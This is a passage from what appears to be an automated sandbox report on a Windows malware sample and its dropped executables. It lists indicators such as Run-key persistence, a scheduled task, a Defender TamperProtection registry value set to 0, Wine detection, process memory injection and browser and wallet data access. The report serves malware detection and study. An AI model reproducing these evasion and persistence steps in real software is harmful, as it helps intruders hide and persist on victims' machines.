Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\decrypted_executable.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DataStore1.exe C:\Windows\system32\curl.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe N/A

Reads user/profile data of web browsers

spyware stealer

Windows security modification

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\7bd6e826e1.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006051001\\7bd6e826e1.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c60401dce1.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006052001\\c60401dce1.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\a05fcb7d74.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1006054001\\a05fcb7d74.exe" C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A

Checks installed software on the system

discovery

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\skotes.job C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1540 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 1540 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 1540 wrote to memory of 1620 N/A C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 1620 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe
PID 1620 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe
PID 1620 wrote to memory of 720 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe
PID 1620 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe
PID 1620 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe
PID 1620 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe
PID 1620 wrote to memory of 4920 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 1620 wrote to memory of 4920 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 1620 wrote to memory of 4920 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 1620 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe
PID 1620 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe
PID 1620 wrote to memory of 2156 N/A C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe
PID 720 wrote to memory of 64 N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 720 wrote to memory of 64 N/A C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1940 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1940 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 1660 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 3348 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 3348 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 3964 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 3964 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 64 wrote to memory of 3964 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Processes

C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe

"C:\Users\Admin\AppData\Local\Temp\aa8fd743b218ec89cf0d2f273026dec78b9ca5e76aacc472d0f87cb48057a00a.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"

C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe

"C:\Users\Admin\AppData\Local\Temp\1006051001\7bd6e826e1.exe"

C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe

"C:\Users\Admin\AppData\Local\Temp\1006052001\c60401dce1.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"

C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe

"C:\Users\Admin\AppData\Local\Temp\1006054001\a05fcb7d74.exe"

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=7bd6e826e1.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xd8,0x114,0x7ff90a9146f8,0x7ff90a914708,0x7ff90a914718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1464 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2696 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3248 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2140,4699977935660414639,4923418975108073500,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4004 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

